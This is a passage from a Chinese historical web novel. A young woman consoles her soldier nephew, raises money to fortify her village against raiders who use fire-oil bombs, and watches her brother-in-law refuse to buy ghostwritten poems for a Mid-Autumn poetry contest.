尤其是最后在汝州府的时候,至今想起,高大宝依然控制不住脸色发白嘴唇颤抖, “姑姑,其实那些反贼也不全是坏人,那个寿天王一开始是真的想拯救世人。 他是个秀才,精通医术,十分好心,为了救治穷苦百姓常年垫付医药费。 妻子埋怨,儿女抱怨,他也依然坚持济贫救困,他在当地真的是个大善人。 他造反也不是为了自己,他是对贪官污吏对朝廷寒了心,他老家的旱灾比咱们老家还严重,死了很多很多人。 当地官府不仅不开仓放粮救济百姓,还趁机霸占百姓田地,不让百姓去逃荒,害的百姓易子相食,饿殍满地。 寿天王说他们要是再不反,就只有死路一条。 他们不想推翻朝廷,他也不想当皇帝,他只是想让上头的人看见,穷人也是人也要活命,想让朝廷整治贪官污吏,把田地还给百姓。 可随着跟着他的人越来越多,他就渐渐身不由己了,他说暴民作乱不是他的本意,他愧对那些无辜死去的人,但他不后悔。 我们其实没有抓住他,他还有机会逃脱的,可他没走,他放火把自己烧死了。 姑姑,他就像不会疼一样,身上都起火了还在火中大声吟诗,他说,人乃天地生,天道唯公,万物人人有份........” 高大宝困惑地眉头都拧成了疙瘩,对着最亲近信任的人,问出了心底的疑问, “姑姑,我觉得他说的好像也有道理,他好像真的是一个好人,可我们还是要去剿灭他们,到底是哪里弄错了?” 第三百二十章 长大 高娇娇一时不知道该怎么回答这个问题,是人错了吗? 不是。 是天灾引爆了这个朝代的阶级矛盾,引发了一系列的冲突,这些冲突加速了这个朝代的灭亡。 一个朝代的灭亡从不单单是帝王一个人的原因,也不是奸臣作祟,更不是小人作乱。 而是盛极必衰,天下合久必分,分久必合的天理。 只是恰好处在这个时期的他们,必然要被时代洪流裹挟着风雨飘摇,动荡不安。 想要在这里建立一个桃花源,何其艰难。 看着眼前困惑迷茫的少年,高娇娇深切感受到了他的成长。 上次见面,他的变化也很明显,但那还都是外表。 这次,他才开始真正褪去少年人的稚气,有了成年人的烦恼,好在他是试着去理解这个世界,而不是被这个残忍血腥的世道吓的不敢向前。 高娇娇很欣慰,轻轻拍了拍高大宝的肩膀道, “大宝,你还记得咱们老家镇上的刘老财吗?” 高大宝点了点头,高娇娇缓缓说道, “刘老财家是从他爹刘老三开始发迹的,那时候老刘家很穷,刘老三长得瘦小干不动重活,都三十了还娶不上媳妇。 后来他一咬牙,找人借钱干起了货郎,再后来他赚到了钱,娶了媳妇,买了地,生下了刘老财。 刘老财接手了他爹的货郎挑子,走街串巷,开了杂货铺,开了当铺。 赚了更多的钱,买了更多的地,娶了更多的媳妇,生了更多的儿女。 刘家这才成了咱们镇上最有钱的大户,人人羡慕,风光无限。 可刘老财的儿子都是败家子,尤其是刘老大,吃喝嫖赌,贪财好色。 即便老家不闹旱灾,咱们不出来逃荒,你觉得就刘老大那样儿,刘家还能一直风光吗?” 高大宝摇了摇头, “我那时候听人说刘老大欠了城里赌坊很多银子,赌坊都跑来刘家要账了,刘老财气得吐血,已经卧床不起了。” 高娇娇点头, “是啊,那时候都已经乱成一团糟了,后来又是天灾又是流民入侵,以刘老大那德行,肯定撑不起刘家。 运气好的话,刘家现在兴许能跟咱们一样落户到了一个新的地方,重新开始。 运气不好的话,刘家可能已经家破人亡,后继无人了。” 高大宝抿了抿唇,叹气道, “刘家不光刘老大不行,老二老三也不咋样,孙子辈里也没有像样的,外嫁女基本跟家里都断了联系,想来也是指望不上。” “那你说,刘家之所以变成这样,是谁的错?” 高娇娇把高大宝问住了,他拧着眉想了又想,迷茫摇头道, “姑姑,我说不出来。 一开始我觉得是刘老大不争气,可仔细一想又觉得是刘老财没教好儿子,再往深了想,又觉得是打从刘老三那时候就不行。 刘老三只教了刘老财怎么赚钱,却没教他怎么做人。 刘老财就是个一门心思钻到钱眼里的坏人,为了钱能把亲生闺女卖给城里的痨病鬼做媳妇。 刘老大他们也是有样学样,只认钱不认人,才会把刘家折腾成这样。 我觉得好像谁都有错,可又说不清到底是谁的错。” 高娇娇觉得高大宝能想到这种程度,就已经很不容易了。 说到底,他只是认识一些字,从没正经读过什么书。 他所有的认知都是在现实生活中一点点积累的,能学会独立思考,而不是一味奉行那套天地君亲师,只知道忠君报国听从上头命令,实在难能可贵。 最最重要的是,他没变成那种自以为是的大男人,还愿意在女子跟前袒露自己的脆弱,愿意虚心请教,想要变得更好。 这也是高娇娇愿意不遗余力开导他的缘由,她由衷希望他能成长为真正的男子汉。 有智慧有担当,严于律己宽以待人,能顶天立地独当一面,也能温柔细致呵护家人,像高长天那样,带领高家下一代走向更加美好的未来。 高娇娇沉声对高大宝道, “大宝,朱叔教我们认字时,曾说过盛极必衰,否极泰来。 凡事到达一个顶点,就会朝着相反的方向发展。 就像太阳东升西落,月亮从盈而亏一样,世间规律本就如此。 一户人家是这样,一个国家也是这样,物极必反,强极必伤。” 高大宝若有所思,过了一会儿,挠头问高娇娇, “朱爷爷啥时候说的这话?我怎么好像从没听过一样?” 高娇娇白了他一眼, “你除了听故事的时候能专心点,听别的什么时候不是左耳朵进右耳多出?” 高大宝嘿嘿一笑,顿时没了成年人的沉稳,又变回了少年淘气, “姑姑,我又不像你记性那么好,听一遍就能记住,除了那些打仗的故事,朱爷爷讲的那些我都忘的差不多了。 不过,你记住就行了,回头我有啥想不通的,问你不就成了?” 高娇娇忍不住想拧他耳朵,奈何手上有伤,只能没好气踹了他一下。 高大宝十分配合,假装被踹的很惨,就势倒在了炕上。 像小时候一样,仰着脸数着房顶上的横条竖道,跟高娇娇说着不愿意跟爹娘爷奶说的心事, “姑姑,小时候我总想快点长大,当了大人就可以想干啥就干啥,多好啊。 可现在我觉得长大一点都不好玩,当大人一点都不开心。 我不想跟刘老大一样当个废物,我想给家里争光,想当个堂堂正正的男子汉。 我以为从军就是当好人,我们要杀的肯定是坏人,可将军要我们杀的好多都是老实巴交的普通人。 他们连一把菜刀都没有,瘦的跟骨头架子一样,他们身后还藏着女人和孩子。 孩子哭的很可怜,女人们一个劲儿跪下磕头求我们....... 可将军说这是朝廷的旨意,任何人不得违抗。 姑姑,你说我杀了那么多无辜的人,那我死了,会不会被打下十八层地狱啊?” “不会的,我家大宝是好人,好人是不会下地狱的。 那不是你的错,你只是服从命令,作孽的是朝廷那帮人,是这世道,它本就不公。” 高娇娇像哄小孩一样轻轻拍着高大宝的背,高大宝抬起手臂挡住脸,一行眼泪悄悄从眼角滑落,在被子上留下了一片小小的不为人知的痕迹。 等到杜衡端着药进来,见高大宝在高娇娇床上睡着了,忍不住想把他踹醒。 都是上过战场的人了,还当自己是小孩呢,还这么黏人。 见高娇娇一脸心疼地扯过被子一角,给高大宝盖着肚子,杜衡心里更是酸到不行。 不过他什么也没说,什么也没做,只是看着高娇娇把药喝了,就出去干活了。 他知道自己没有吃醋的资格,他今天还要回书院,趁着现在多干点活,多做点嫂嫂爱吃的,才是他该干的事。 杜衡吃过午饭就启程返回书院,跟衙门的官兵一起。 既能获得保护,也能在路上缓和一下关系。 因为官兵没从朱钰手中占到一丝一毫的便宜,不仅没带走什么战利品,还承诺要给石楼村特殊批文。 不日后就会将石楼村改为石楼堡,并报备到兵部。 第三百二十一章 难题 虽然只是一字之差,但地位上却有着天壤之别。 堡在边关多为军堡,大都是边军所建,位于长城沿线的战略要地,便于控制交通要道和观察敌情。 也有一小部分是地方乡绅自费修建,堡内布局跟小型城池差不多,外有城门、城墙、角楼、敌台、马面等御敌设施。 内有兵营、粮仓、街道、集市、庙宇等设施,城墙虽不如真正的城池那样高大恢宏,但也比高娇娇他们自己垒的梅花丁墙要宽厚的多。 按照现在军堡的规格,只要衙门批文下来,高娇娇他们就可以开始兴建高五丈宽一丈的城墙,还可以在城墙上开凿藏兵洞,甚至建暗门挖暗道。 不会再有人说他们要造反,因为这是军堡的正常规格。 军堡本就是为了抵御外敌而建立的,并非一般村子,练兵藏兵都是理所应当。 若完全按照军堡规制建成,下次蛮子再敢来犯,别说区区几十人,就算几百人,他们也有一战之力。 只不过,要想建成,需得花费很多钱。 高娇娇坐在炕上,接过老王递过来的账本,看了眼朱钰乌青发黑的眼圈,翻都没翻,直接问道, “需得多少银子才能建成?” 朱钰不吭声,老王慢慢举起一根手指。 高娇娇松了口气,一万两,想想办法还是能凑出来的。 哪知老王颤巍巍纠正道, “不是一万,是十万。” 高娇娇险些跳起来,猛地一用力扯到了腰上的伤口,疼的她呲牙咧嘴。 朱钰赶忙安抚道, “你别急,不是一下子就要拿出这么多银子来,咱们可以慢慢来,先从盖城墙开始。” 高娇娇都被气笑了, “慢慢来? 您老教教我怎么慢慢来? 我又不会点石成金,十万两啊,你让我从哪儿给你变出来? 你可别跟我说都指望番麦,那东西多了就不值钱了,下一轮想卖上这次的价根本不可能。 光指着集市和那些铺子,一年撑死了万儿八千两银子。 即便没了暴民作乱,那还有蛮子呢,朝廷那头还是乱,世道不好,你让我从哪儿弄这么多钱? 一旦开工了又不能停,你这不是逼我去抢吗?” 老王很是同情高娇娇,算出来这个数的时候,他也觉得天都要塌了。 十万两啊,别说他们一个村,就连县太爷怕是也拿不出来吧。 朱钰捋了捋胡子,淡淡道, “其实,抢也不是不行。” 老王吓了一跳,高娇娇无语道, “你别想拐着我去当土匪,当心被我娘知道了打断你的腿。” 朱钰的手顿了顿,十分不要脸又把难题抛给高娇娇, “那我就没辙儿了,反正这个堡不建不行,蛮子记仇的很,肯定会再来的。” 高娇娇也知道蛮子有多记仇,也担心蛮子再过来。 所以即便气的牙疼,也只能打开账本看了起来。 好家伙,这城墙要从村口建到后山,还要把庙所在的坡地都包含在内,弯弯曲曲绵延十几里。 建城墙所需原材料,糯米、石灰也就罢了,羊血和鸡蛋是什么鬼,怎么建城墙还需要用到这些? 朱钰很是善解人意,不等高娇娇开口询问,就主动给她解答起来, “在泥土中加入羊血、鸡蛋等东西一起搅拌,能大大增加泥土的粘性。 这样在修筑城墙的时候,土层跟土层中间,就能粘的更牢,作用跟糯米石灰浆差不多。 但是这个是在和泥的时候,糯米石灰浆是在叠土层填缝隙的时候用,最好是二者都用上,效果加倍。” 高娇娇捏了捏眉心,她当然知道都用上效果好,可问题是,这玩意儿它费钱啊! 人都舍不得吃的东西,拿来建城墙,还一建就是十来米高三四米宽,十几里长。 这哪儿是他们一个小小村落能负担的起的? 可是蛮子是真的记仇,这次折损这么多精锐,肯定会回来报复。 而且好不容易才从衙门弄到的批文,可以自行修建军堡,机不可失,失不再来,只能咬牙拼了。 放下账本,高娇娇咬着后槽牙问, “先不算往后延伸,单说村口的城墙和城门,建起来要多少银子?” 朱钰哗哗往后翻了几页账本,指着一个数字点了点。 高娇娇低头一看,四万八千六百多,还好,还好,没超过五万两。 虽然她现在只有四千两,但起码比起十万两还是好很多。 果然人的胆子就是这么被吓大的,她一个连一万两银子都没有的人,都觉得三五万两不算个啥了。 摸出自己还没焐热的银票,高娇娇强忍心痛全部拿了出来, “这些银子你们先拿着,先把围墙寨门修补好,再盖个砖窑,咱们自己想办法烧砖还能省点钱。 你们先规划着,做做前期准备,剩下的钱等我伤养好了再想办法凑。” 老王不好意思接,事关全村人的安危,却掏空了娇娇一个人的家底,他们瞒着里正办的这事儿,属实有点不地道。 朱钰一点也没有不好意思,抬手就接了过来,还数了数,这才夸了句, “我就知道娇娇深明大义,这事儿找你准能成。” 高娇娇有气无力挥手道, “你可别捧着我了,我怕你把我捧太高摔下来疼死。” 朱钰笑着道, “不怕,能者多劳,我相信你一定有办法的。 你好好养着,我让人把那些战利品处理一下,估摸着也能卖个几千两银子。 你都自掏腰包了,那这次卖得的银子也就不分了,留点给伤员们治病养伤。 剩下的,我就拿去直接盖大门建城墙了。 反正都要建,修修补补完了还是要拆,不如一次到位,直接盖新的。 糯米咱没有,可石灰、鸡蛋、羊血这些,咱们都能自己想办法,不是所有都靠买。 当然你能凑够账上的银子最好,我这人过不惯抠抠搜搜的日子。” 高娇娇只觉得心累,觉得自己不是养了位大能,而是养了个祖宗。 谁能过得惯抠抠搜搜的日子啊,可天上也不会掉馅饼,银子也得一点点赚啊。 老王十分担心,把这么重的担子压在一个小姑娘身上,真的能行吗? 朱钰笑的意味深长, “老王啊,咱们村,你怀疑谁都不该怀疑娇娇,那丫头,可不是个一般人呐。 再说,咱们雇的都是村里和附近的人,工钱发给他们,他们最终还不是得来咱们集市上花掉。 这一来二去,就相当于咱们把钱从左口袋换到右口袋,跟不出钱一个样。 所以啊,工钱这上面,就只是个数,咱们花的就是点材料钱。” 老王听得直挠头,这话听着很有道理,可一琢磨又觉得哪儿哪儿都不对。 账真是这么算的吗? 第三百二十二章 进城搞钱 高娇娇不管账是怎么算的,她绞尽脑汁琢磨着怎么搞钱。 她原本的计划是用三到五年建成一个桃花源,现在被蛮子突如其来的一下,弄的要在三个月内建成了。 压力不可谓不大,可骑虎难下,她也只能想办法。 这么多银子,从岚县肯定是搞不来,去并州府兴许还有点指望。 做正经生意来钱慢,还是得走偏门。 番麦顾大将军那头有安排,他们不能插手,果子产量不高,运送麻烦,赚不到钱。 做胭脂水粉需要成本,做药材生意搞不过知府夫人那帮人,玻璃不会烧,炸药更不会配,写话本画人像什么的,她一个程序员哪儿会啊? 思来想去,还是抢钱最快,要是能劫富济贫就好了,掏空几个大贪官的家,多少银子都能凑出来。 高娇娇琢磨的头疼,也没想出来一点办法。 姚春香端着一碗刚出锅的酱马肉进来,见她愁容满面,忍不住抱怨起朱钰来, “早知道那个朱老二会直接来找你,我就该拦着他。 哪儿能把这么大的事压到你一个人头上,好不容易得来的几千两银子,全给了他们不说,还要去凑那么一大笔钱。 这不是难为你吗? 你别听他的,这是全村人的事,得大家一起想办法。 你现在还伤着呢,啥都别想,先好好养伤才是正经。 我问过小刘大夫了,马肉能补中益气,补血强筋健骨,你多吃些,能好得快。” 说着,就夹了片马肉喂到高娇娇嘴边。 高娇娇没滋没味地嚼了咽下,见姚春香充满期待望着她,忙挤出笑容夸赞道, “好吃,比上次的嫩。” “可不是嫩嘛,你知道我放了啥?” 姚春香兴致勃勃,高娇娇十分配合追问道, “放了啥?” “放了白糖,原来这玩意儿得拿白糖炖,才能又酥又烂。 炖好了还得放到锅上熏,熏好了再刷一层香油。 这样放凉了才不会干,吃的时候切成薄片,放入葱姜蒜,倒点醋,还有咱们自制的茱萸油,又香又辣,酸甜可口,夏天吃着正合适。” 姚春香说起做吃食来滔滔不绝,高娇娇看着她不管做什么都有滋有味的劲儿,忽然就觉得十万两银子也不算什么了。 办法都是人想出来的,她就不信,她弄不到这笔钱。 高大宝只在家待了一天,就要回去复命了。 他要跟着顾小将军去并州府当差,以后不在孟门关,再想回来就不像之前那么容易了。 跟他一同回来的官兵们吃过早饭后,都识趣的先去村口等着,留出空间让高大宝跟家人告别。 姚春香将之前做好的衣服鞋袜用包袱打包好,递给高大宝, “天热了,专门给你做的轻薄透气的细棉布衣服,你带去换着穿,不够了给家里捎信,我再给你做。” 高大宝忙推了回去, “奶,你不用这么辛苦给我做了。 我现在跟着顾小将军,一年四季衣服鞋袜都有发,料子又好,做工也细,足够我换着穿了。 有好布料你跟我爷穿,别留着给我了,我有俸禄,还不少呢,你们别总想着我。 这些就留给二宝和金宝他们穿吧,我啥都不缺。” 姚春香强行塞到高大宝手里, “发的哪儿有自家人做的贴身,给你做了你就拿上,二宝和金宝他们都有,不用你惦记。 我们在家啥都不缺,你出去了只管好好做事,不用操心我们。” 高大宝只得收下,高长天等人又叮嘱了他一番,最后轮到了高娇娇。 高娇娇没什么要叮嘱他的了,该说的都已经说完了。 高大宝却塞给她一个荷包,凑到她耳边小声道, “姑姑,这是我从战场上捡来的首饰,那些老兵说谁捡到算谁的,上头人不会管。 我看着像是好的,应该能值点钱,我知道你卖番麦的银子都拿去修城墙了,这个就当是侄儿孝敬你的零花钱。” 高娇娇哭笑不得,这小子,她还没老到需要他孝敬呢。 可孩子坚持要给,高娇娇也只得收了。 回屋打开一看,是一枚蓝宝石戒指和一对珍珠耳环,看成色做工确实是好东西,估计能值个百八十两银子。 高娇娇把首饰装回荷包,放入钱匣子。 等回头她赚了钱,再给添上项圈手镯发钗凑够一副头面,将来大宝娶媳妇的时候,送回给他当聘礼。 不成想几个小的有样学样,都跑来给她送私房钱了。 连高金宝都红着脸递过来几两碎银子,还一脸不好意思说自己没攒下什么钱,让她不要嫌弃。 弄的高娇娇都坐不住了,本来想等伤养好了再出门,现在不敢耽搁,伤口才结痂就进了城。 她怕在家再待下去,就要被家里人的内疚给淹没了。 尤其是她爹,以前一天跑来看她三四回,现在见她都要躲着走。 忙的团团转,还想带人进山打猎帮着凑钱,不想让她太为难。 可十万两哪儿是靠打猎能凑出来的啊,就算把全村人都掏空,也凑不出来。 还是得去掏有钱人的口袋! 一时想不出怎么从有钱人口袋掏钱,高娇娇就带着杜映梅在街上闲逛,被粮铺伙计瞧见,主动跟她们打招呼。 高娇娇便走过去同他闲聊了几句,听到伙计说又有难民涌入,不由眉心一跳。 伙计一脸愁苦抱怨道, “好不容易才过了两天安稳日子,就又乱了套。 这次蛮子打草谷跟以往可不一样,不是沿着官道四处扫荡,而是跟提前踩好点了一样,直奔那些有钱富户。 别说外头的地主老财,就连城里的大户人家也都遭了难。 城北卖绸缎的李家,半夜被蛮子冲进来屠了满门,那血流的,把半条街都染红了。 还有城东开钱庄的赵家,养了好几十个护卫都不顶用,经不住蛮子放火冲杀,要不是边军赶来的及时,指定跟李家一个下场....... 知县老爷大发雷霆,把城门守将骂了个狗血淋头,连蛮子混进来了都不知道,要我说这守将当的也是糊涂。 要不是边军接管了咱们县城的防守,别说那些家财万贯的老爷,就连我这种小老百姓,晚上睡觉都不敢睡死了。 谁知道蛮子啥时候再来,谁知道他们会不会再放火再朝咱们扔那个啥油弹。 那玩意儿可真吓人,砰的一下子能把门炸烂,这要是落到人身上,不得把人炸成碎肉渣子啊........” 伙计憋了一肚子苦水,好不容易逮着一个外头来的,恨不得把心里的愁苦都倒出来,让高娇娇她们跟着一起发发愁。 兴许大家都发愁,这愁也就显得没那么愁了。 第三百二十三章 中秋诗会 高娇娇和杜映梅听的心惊肉跳,真是做梦也想不到,外头居然这么糟糕。 再去跟合作的绣坊、鱼庄、豆腐坊,以及租房子的两口子聊了聊,高娇娇震惊发现: 他们石楼村居然成了这次蛮子入侵唯一大获全胜的地方。 其它村子,甚至连县城,都没能逃脱蛮子的侵扰。 若说蛮子不是有备而来,城内没有内奸帮着踩点打探,鬼都不信。 即便现在边军接管了城防,但是内奸还没揪出来,到底还有没有蛮子藏在城中,还有多少蛮子虎视眈眈,谁也说不准。 杜映梅都忍不住跟高娇娇感叹, “以前我还总羡慕住在城里的人,现在觉着还是住在咱们村好。 等咱们城墙建起来,晚上把大门关的严严实实,就算蛮子再用那个猛火油弹也炸不开了。” 高娇娇点头赞同,大宝把猛火油弹碎屑带回去,经神火营的高手仔细研究后发现,所谓猛火油弹,其实就是猛火油柜的改良版。 猛火油柜是用熟铜打造柜子,在柜子的下面有四个用来支撑的脚,然后在柜子的上面有四个卷筒。 这四个卷筒的形状就像是喇叭一样开口处很大,但是在末尾就非常的细。 通过往开口大的地方注入石油原油,点燃引火药,利用推拉筒,把柜中的石油点燃瞬间喷射出去。 这样喷出来的火射程非常远,只要沾上一点,就很难扑灭,所以常常用作守城和水战上。 蛮子利用石油易燃易爆的特性,把石油密封在熟铜做的壳子里,利用点燃后产生的冲击,制造爆炸,炸开坚固的大门和墙体。 但是也因为石油易燃易爆,所以蛮子不敢把壳子做的太大,怕在运送途中不小心受到撞击给引爆了。 故而这种猛火油弹只能炸开木制的大门和不超过一尺厚的墙体,像岚县城墙那么厚的墙体,一个猛火油弹根本炸不破。 多个同时点燃才有可能,以蛮子目前的能力,做不到把几十上百个猛火油弹悄无声息带到城墙下。 故而蛮子才用了潜伏进城,伺机动手的方式,还只针对有钱无权的富商大户,速战速决,打的衙门根本反应不过来。 现在城中人心惶惶,富商大户们纷纷逃离,要么去并州府投奔亲戚,要么举家搬迁去京城,甚至南下去更远的地方。 毕竟是世代久居之地,尤其是做生意的,铺子和大主顾都在本地,一旦离开,就得放弃半辈子甚至几代人的努力。 所以还是有不少人选择留在原地,依靠边军,捐钱捐粮,只希望在自家遇到危险时,边军能来的快一些。 高娇娇专门去城里富户聚集的地方转了转,发现很多人家都在加固院墙,雇护卫买小厮,忙忙碌碌就为了给自己增加一点保护。 这让她隐约有了个主意,但又不是很清晰,像是摸到了窗户,却还隔着一层窗户纸,就是捅不破。 弄的她很是难受,坐立不安,看着杜映梅塞过来的羊肉火烧,没有一点胃口。 “你们闻到没?好像是西街那家羊肉火烧的香味儿。” 院门外响起了凌十三的大呼小叫, “你们看,院门没挂锁,有人在里头。 杜衡,不会是嫂嫂进城来了吧?” 话音还没落下,门就被拍的砰砰响,夹杂着凌十三的叫嚷,听得高娇娇更是心烦。 杜映梅被高娇娇的情绪影响,冲过去打开门,对上凌十三鼻子不是鼻子眼睛不是眼睛,一脸没好气道, “你拍那么用力作甚?门都要被你给拍烂了,我们耳朵又没聋,你喊一声我们听见就给你开门了。” 凌十三本来还一脸高兴呢,被杜映梅张嘴就是一通数落,弄的很是委屈, “妹子咱们都多久没见了,你怎么还这么烦我啊?” “因为你招人烦呗!” 杜映梅白了凌十三一眼,扭头冲杜衡和徐六他们招呼道, “二哥,徐哥你们快进来,我刚买的羊肉火烧,还热着呢。” 凌十三很是不满,抱怨道, “我们可是一起来的,妹子你怎么还能厚此薄彼呢? 你要这样,下回我可不来了啊!” 杜映梅嘴一撇,腰一扭,就要领着杜衡他们往里走, “你爱来不来,我又没请你来。” 杜衡觉得妹妹这样太没礼貌,低喝了声, “小梅!” 杜映梅看在哥哥的面子上,勉强冲凌十三扯了扯嘴角, “凌大哥,我最近遇到点烦心事,心情不太好,你别跟我一般计较。” 凌十三气来的快,消的更快,立马凑上去问, “你遇到什么烦心事了?说出来哥哥一定帮你排忧解难。” 杜映梅不想说,可凌十三追着问个没完,她便带着点看笑话的恶意,故意道, “那就多谢凌大哥了,我要十万两银子。” 凌十三脚下一趔趄,差点左脚绊右脚把自己绊倒。 杜衡等人也吓了一跳,徐六假装抬起袖子去擦脑门的汗,笑着打趣道, “妹妹咱不带这么吓人的,你把我们几个卖了也不值这么多钱啊。” 杜映梅叹了口气道, “我可没开玩笑,我们是真的需要这么多银子,急需。” 杜衡急了, “到底出什么事了?怎地忽然要这么多银子作甚?” “其实也不是出事,按说这应该是好事,就是——” 杜映梅刚要细说,就被高娇娇打断了, “小衡,你们忽然回来是有什么事吗?还不到休假的日子呢。” 说着,就招呼众人坐下。 让杜映梅拿来给杜衡带的酱马肉,和从后山采摘的果子,请众人吃着慢慢说话。 杜衡几人突然回来,是因为书院明日放假一天,让他们好好准备,去参加晚上的中秋诗会。 岚县中秋诗会由来已久,还是九川书院的创办人提议举办的,得到了官府的大力支持,是每年读书人的一大盛会。 每年中秋佳节当晚,县城内读书人齐聚一堂,以文会友,各展才学。 不仅能彰显岚县的文风兴盛,也能激励学子们的求学热情,还能让有才之士得以扬名。 文会是由知县大人主持,负责点评诗文的不是书院的山长夫子,就是城中久负盛名的才子学究,甚至还有从其他州县远道而来的文人墨客。 所以能在诗会上崭露头角,一定会备受关注,对于考取秀才功名有着很大的益处,对日后进学也多有帮助。 远的不说,郑子安就是前几年在诗会上一鸣惊人,才获得了县学教谕的青睐,招为乘龙快婿,自此一帆风顺。 今年听说教谕还请来了并州府府学的训导,故而来参加诗会的不光有岚县学子,还有不少外县甚至州府的学子。 九川书院作为岚县名望最高的书院,决不能被别的书院学子抢走风头,特意放假,就是为了让学子们好好准备,确保在诗会上为校争光。 像杜衡这样在甲班名列前茅的学子,更是被寄予厚望。 弄的并不擅长作诗的杜衡很是紧张,只能临时抱佛脚。 准备把郑子安送他的手稿再好好复习一遍,争取把夫子拟定的几个命题,作出几首说得过去的诗。 至于拔得头名,大出风头,杜衡是想也没想过。 他太清楚自己的底子有多差了,君子六艺,他最擅长的只有驾马车。 马飞翼也不是很擅长作诗,帮不了杜衡。 凌十三和徐六、牛安就更不擅长了,但他们擅长作弊。 第三百二十四章 他不会这么干 凌十三一把抢过杜衡手里的手稿,神秘兮兮提点他, “临时抱佛脚根本没用,你当人人都是诗仙在世,能七步成诗啊,只要肯花银子,什么样的锦绣诗文买不到? 哪儿用得着你在这儿绞尽脑汁破题凑字,等你想出来,黄花菜都凉了。” 杜衡很是无语,把手稿抢回来,直接道, “别说我没钱,有钱也不买!” 找人代笔,还花钱,他脑子又没被驴踢。 被人知道了,一辈子的名声就毁了。 不过要是有人非要高价买他写的诗,那倒是可以。 只可惜,他所有的精力都放在科举考试上,诗词歌赋上一点也不擅长,实在做不了这无本的买卖啊。 凌十三早就料到杜衡会这么说,冲徐六几个无奈地撇了撇嘴。 看吧,这小子真就一毛不拔,他打包票,不花钱的诗文这小子肯定要。 他主要就是不想花钱。 徐六热心劝道, “杜衡,这对你来说可是千载难逢的好机会,你若两手空空去参加诗会,必定要被甲班那些不服气你的人嘲笑。 诗会请人代笔是常有的事,只要不是原文照抄,稍微改动几个字,被人知道了也只会说你和谁谁写的有些相似,不会说你抄袭。 天下文章一大抄,谁敢说自己写的诗就跟旁人不撞一个字? 所以你还是听凌十三的吧,你若手头银钱紧张,我先借你一点也行。” 牛安紧跟着表态道, “徐六说的是,我们也不是不相信你的才学,主要吧,这个好文章好诗词也不是唾手可得。 夫子不是常说嘛,文章本天成,妙手偶得之。 你这妙手要是迟迟不来,不就耽搁在诗会上扬名了嘛。 我可早就听说了,不光你们甲班,就连天字班的师兄,也都早就找好了门路。 我手头银钱剩的也不多,还有十五两你拿着,咱们兄弟可就指着你出风头呢,你可千万别跟兄弟们客气。” 说着,就从怀里摸出一个钱袋递给杜衡。 马飞翼见他们这般,只得把想要劝阻的话咽了回去。 他是个老实人,觉得花钱买诗文去诗会上骗人很不好。 可又觉得若是失去在各位大人面前露脸的机会很可惜,加上他自己也是要参加诗会比拼的一员,所以内心十分纠结。 杜映梅觉得他们说的很有道理,忍不住想把自己的私房钱也拿出来给杜衡,被高娇娇拦住了。 杜映梅看向高娇娇,高娇娇冲她微微摇了摇头。 以她对杜衡的了解,他不会这么干的。 果然,杜衡不但拒绝了凌十三他们的提议,还劝他们, “我不买诗文,更不会借你们的银子买,我也劝你们别把银子花在这种地方。 才学这种东西是装不出来的,即便花了大价钱买了好诗文,出了风头,将来还是会露馅。 人不可能装一辈子,古往今来,多少声名鹤立的才子,在考场上却一败涂地。 可见名声赞誉对于考功名来说,并无多少益处。 木秀于林风必摧之,对于我这样的人来说,风头太盛并不是一件好事。 与其去争那虚无缥缈的美名,还不如多读几本书多写几篇文章,兴许还能离考取功名近一点呢。” 凌十三和徐六、牛安对视一眼,都很无奈。 他们觉得花点小钱就能出风头,就能让看不起自己的人打脸很划算,家里若是知道了,兴许一高兴,还会多给他们一点零花钱,何乐而不为呢? 可杜衡说的这般义正言辞,凌十三几人便觉得自己那点小心思有些上不了台面,甚至莫名有点自惭形秽。 凌十三拧巴着脸,有些不解,还有些茫然, “可要是不买诗文,像我们这样的人去参加诗会又有什么意义呢?” 徐六和牛安对视一眼,都有些索然无味。 是啊,自己又不会写,看别人装才子出风头,有啥意思,还不如去春香院喝花酒。 杜衡飒然一笑, “中秋佳节,才子云集,师长齐聚,一起赏月品诗,数今朝风流人物,如此盛会,岂会无趣? 我们不去在意是否能在诗会扬名,就可以尽情享受诗文的乐趣,难道不是吗?” 凌十三等人愣住,马飞翼使劲点头, “杜兄说的正是!” 高娇娇也笑着赞道, “大丈夫就该有如此心胸!” 杜衡没想到会被高娇娇当众夸赞,不由有些脸红。 凌十三和徐六、牛安虽然被杜衡说服了,但是让不学无术的他们去欣赏品评诗文的乐趣,他们还是万万不能。 比起看才子,他们更感兴趣的还是赏佳人。 作为风月场上的老手,徐六十分有经验分享道, “知县大人和府学的训导大人都来了,春香院的新花魁和翠玉阁的头牌肯定也会来。 听说春香院的新花魁秋荷很会作诗,说不定还会当场赋诗一首,请大人们点评呢。 翠玉阁的头牌弹的一手好琵琶,到时候要是能跟秋荷一唱一和,那咱们可是有眼福了.......” 三人说的十分起劲,马飞翼听得面红耳赤,杜映梅也觉得不堪入耳。 见嫂嫂和二哥面色如常,杜映梅忍不住小声问道, “你们不觉得这样很不好吗? 堂堂读书人整天只想着风月之事,多不要脸啊。” 高娇娇倒不觉得凌十三几人贪恋风月有什么不要脸,他们起码比那些面上清贵高洁,背地里花天酒地的伪君子要好得多。 更何况这时代男人风流并不是什么值得诟病的事,尤其是文人墨客,哪个不是风月场中的常客。 只不过他们当着一个小姑娘这么不避讳,就有点恶心人了。 高娇娇眉眼一弯,捏了捏杜映梅的脸,故意道, “诗会不是你想的那样,不光青楼名妓,普通人家的小娘子也会在父兄的陪同下去看热闹。 有的人家还会趁机相看,河道两旁还有花灯,摊贩们也会出来摆摊卖吃的喝的玩的,比庙会还好玩。 比拼诗文才学的去岛上小院,看热闹的在河道两旁,跳舞唱曲的花船在河上。 大家各玩各的,互不干扰,但彼此又能瞧见。 你若是看上哪家的俊俏小郎君,同我说一声,我托人帮你去打听,说不得就能凑成一对好姻缘。” 杜衡忍不住咳了声,婚姻大事岂是儿戏,哪儿能这么随随便便说来打趣。 可杜映梅跟在高娇娇身边久了,被她影响的对男女大防那套也不在意了,听到她这么说,不仅不觉得不好意思,反倒还认真想了想,问道, “嫂嫂,若是我看上的人不喜欢我怎么办?” 高娇娇见凌十三几人都看了过来,笑容加深了几分,淡淡道, “那就看你有多喜欢了。” 杜映梅不解, “啥意思?” 高娇娇认真道, “你要是非他不可,那我就想办法帮你弄来;若是可有可无,那不如换个同样也喜欢你的好了。” 杜映梅担心, “可人家都说强扭的瓜不甜,咱们也不好强迫人家喜欢我吧?” 高娇娇强势, “你都没扭下来,怎么知道甜不甜? 就算不甜,你也扭过了不是,总比吃不到一直惦记着强。” 杜映梅使劲点头, 